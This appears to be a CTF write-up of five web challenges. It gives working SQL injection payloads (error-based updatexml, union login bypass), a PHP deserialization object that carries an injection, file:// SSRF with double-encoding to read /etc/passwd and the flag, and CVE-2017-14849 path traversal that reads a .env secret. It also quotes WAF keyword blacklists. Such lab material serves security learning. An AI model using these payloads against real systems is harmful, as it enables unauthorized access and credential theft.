Network Security Management Professional Skills Competition Web writeup

Dear, follow me

11/13

Article 2983 words in total

Expected to read 10 minutes

Come and read with me

本文涉及知识点靶场练习:
CTF实验室
文末阅读原文或者复制链接即可操作
https://www.hetianlab.com/pages/CTFLaboratory.jsp&pk_campaign=weixin-wemedia

Web

0x01 easy_sql

At first, I saw that it was easysql, so I went to sqlmap and ran it. The database name security and several table names ran out.

Continue to run the flag, the result did not run out, and finally it was manual.

The test input a single quotation mark, the page does not respond, but an error message is found in the source code

Then I closed it with single quotation marks and parentheses, reported an error and injected it. Then I thought about why the page did not show up. It turned out that the error message was displayed in white. I was deceived for a long time in the early stage. You can see it with a mouse click.

uname=aaa') or updatexml(1,concat(0x7e,mid((select * from flag),1,25)),1)%23&passwd=bbbb

 

uname=aaa') OR updatexml(1,concat(0x7e,mid((select * from flag),23,50)),1)%23&passwd=bbbb

 

 

 

0x02 ezsqli

Open an input box

View hint to get the source code

//a "part" of the source code here




function sqlWaf($s)
{
    $filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|\^|\||\ |\'/i';
    if (preg_match($filter,$s))
        return False;
    return True;
}




if (isset($_POST['username']) && isset($_POST['password'])) {


    if (!isset($_SESSION['VerifyCode']))
            die("?");




    $username = strval($_POST['username']);
    $password = strval($_POST['password']);




    if ( !sqlWaf($password) )
        alertMes('damn hacker' ,"./index.php");




    $sql = "SELECT * FROM users WHERE username='${username}' AND password= '${password}'";
//    password format: /[A-Za-z0-9]/
    $result = $conn->query($sql);
    if ($result->num_rows > 0) {
        $row = $result->fetch_assoc();
        if ( $row['username'] === 'admin' && $row['password'] )
        {
            if ($row['password'] == $password)
            {
                $message = $FLAG;
            } else {
                $message = "username or password wrong, are you admin?";
            }
        } else {
            $message = "wrong user";
        }
    } else {
        $message = "user not exist or wrong password";
    }
}




?>

Password is filtered, usename is not filtered, use joint query, construct username and password to return admin

username=admin1'+union+select+'admin','admin','admin'%23&password=admin&captcha=LSOK

0x03 warmup

Download the source code and start the audit. Unserialize was found in index.php, which is probably to investigate the use of deserialization

···
if (isset ($_COOKIE['last_login_info'])) {
    $last_login_info = unserialize (base64_decode ($_COOKIE['last_login_info']));
    try {
        if (is_array($last_login_info) && $last_login_info['ip'] != $_SERVER['REMOTE_ADDR']) {
            die('WAF info: your ip status has been changed, you are dangrous.');
        }
    } catch(Exception $e) {
        die('Error');
    }
} else {
    $cookie = base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR']))) ;
    setcookie ('last_login_info', $cookie, time () + (86400 * 30));
}
···

conn.php source code

include 'flag.php';




 class SQL {
    public $table = '';
    public $username = '';
    public $password = '';
    public $conn;
    public function __construct() {
    }


    public function connect() {
        $this->conn = new mysqli("localhost", "xxxxx", "xxxx", "xxxx");
    }




    public function check_login(){
        $result = $this->query();
        if ($result === false) {
            die("database error, please check your input");
        }
        $row = $result->fetch_assoc();
        if($row === NULL){
            die("username or password incorrect!");
        }else if($row['username'] === 'admin'){
            $flag = file_get_contents('flag.php');
            echo "welcome, admin! this is your flag -> ".$flag;
        }else{
            echo "welcome! but you are not admin";
        }
        $result->free();
    }




    public function query() {
        $this->waf();
        return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'");
    }




    public function waf(){
           $blacklist = ["union", "join", "!", "\"", "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"];
           foreach ($blacklist as $value) {
                  if(strripos($this->table, $value)){
                         die('bad hacker,go out!');
                  }
           }
        foreach ($blacklist as $value) {
            if(strripos($this->username, $value)){
                die('bad hacker,go out!');
            }
        }
        foreach ($blacklist as $value) {
            if(strripos($this->password, $value)){
                die('bad hacker,go out!');
            }
        }
    }




    public function __wakeup(){
        if (!isset ($this->conn)) {
            $this->connect ();
        }
        if($this->table){
            $this->waf();
        }
        $this->check_login();
        $this->conn->close();
    }




}
?>

You can see that there is a flag output point in check_login, provided that we need to fake the admin user

Continue to look down, there is a place to execute SQL statements

 public function query() {
        $this->waf();
        return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'");
    }

There is also a waf below. I took a look and found that the characters used in the universal password we need to construct will not be banned

$blacklist = ["union", "join", "!", "\"", "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"];
           foreach ($blacklist as $value) {
                  if(strripos($this->table, $value)){
                         die('bad hacker,go out!');
                  }
           }

So here we can use SQL injection to become admin login, username is changed to admin, password is universal password a'or '1'='1, the code is as follows:

include "conn.php";
$sql = new SQL();
$sql->table = "users";
$sql->username = "admin";
$sql->password = "a'or'1'='1";
$a = serialize($sql);
echo $a;
echo base64_encode ($a);
得到
TzozOiJTUUwiOjQ6e3M6NToidGFibGUiO3M6NToidXNlcnMiO3M6ODoidXNlcm5hbWUiO3M6NToiYWRtaW4iO3M6ODoicGFzc3dvcmQiO3M6MTA6ImEnb3InMSc9JzEiO3M6NDoiY29ubiI7Tjt9,
输入之后获得flag

0x04 ssrfME

When you visit, you can see that there are two input points, one for url and one for verification code

Script blasting verification

<?php
for ($i=0; $i < 1000000000; $i++) { 
       $a = substr(md5($i), -6, 6);       if ($a == "d17b5b") {              echo $i;              break;       }
}
?>

Try to use the file protocol to read and find that /etc/passwd is successfully read

Read /flag, but failed, try to read /var/www/html/index.php, get the source code, it turns out that a waf filters the flag

···
if (isset($_POST['url']) && isset($_POST['captcha']) && !empty($_POST['url']) && !empty($_POST['captcha']))
{
    $url = $_POST['url'];
    $captcha = $_POST['captcha'];
    $is_post = 1;
    if ( $captcha !== $_SESSION['answer'])
    {
        $die_mess = "wrong captcha";
        $is_die = 1;
    }




    if ( preg_match('/flag|proc|log/i', $url) )
    {
        $die_mess = "hacker";
        $is_die = 1;
    }
}
···

The file protocol reads the flag and uses two url encoding flags to bypass

url=file:///%25%36%36%25%36%63%25%36%31%25%36%37&captcha=43049

0x05 SecretGuess

The title is given to the source code, but not complete

Found the source in index.html, click to see the source code

const express = require('express');
const path = require('path');
const env = require('dotenv').config();
const bodyParser = require('body-parser');
const crypto = require('crypto');
const fs = require('fs')
const hbs = require('hbs');
const process = require("child_process")


const app = express();


app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(bodyParser.urlencoded({ extended: false }))
app.use(bodyParser.json());
app.set('views', path.join(__dirname, "views/"))
app.engine('html', hbs.__express)
app.set('view engine', 'html')


app.get('/', (req, res) => {    res.render("index")
})


app.post('/', (req, res) => {    if (req.body.auth && typeof req.body.auth === 'string' && crypto.createHash('md5').update(env.parsed.secret).digest('hex') === req.body.auth ) {        res.render("index", {result: process.execSync("echo $FLAG")})    } else {        res.render("index", {result: "wrong secret"})    }
})


app.get('/source', (req, res) => {    res.end(fs.readFileSync(path.join(__dirname, "app.js")))
})


app.listen(80, "0.0.0.0");

In the given dockerfile, the file content is

FROM node:8.5
COPY ./src /usr/local/app
WORKDIR /usr/local/app
ENV FLAG=flag{**********}
RUN npm i --registry=https://registry.npm.taobao.org
EXPOSE 80
CMD node /usr/local/app/app.js

To search for related content, I found that there may be a CVE-2017-14849 vulnerability

Enter /static/../../a/../../..//etc/passwd, the use is successful

Then go to get the secret, /static/../../a/../../../usr/local/app/.env, get secret=CVE-2017-14849

According to the conditions in the source code

if (req.body.auth && typeof req.body.auth === 'string' && crypto.createHash('md5').update(env.parsed.secret).digest('hex') === req.body.auth )

We encrypt CVE-2017-14849 with md5 and submit it to get the flag, auth=10523ece56c1d399dae057b3ac1ad733

11/13

Contributions are welcome to email: [email protected]

Talented, come and submit your paper!

Stamp "Read the original text" to get the same ctf experience

Guess you like

Origin blog.csdn.net/qq_38154820/article/details/109685538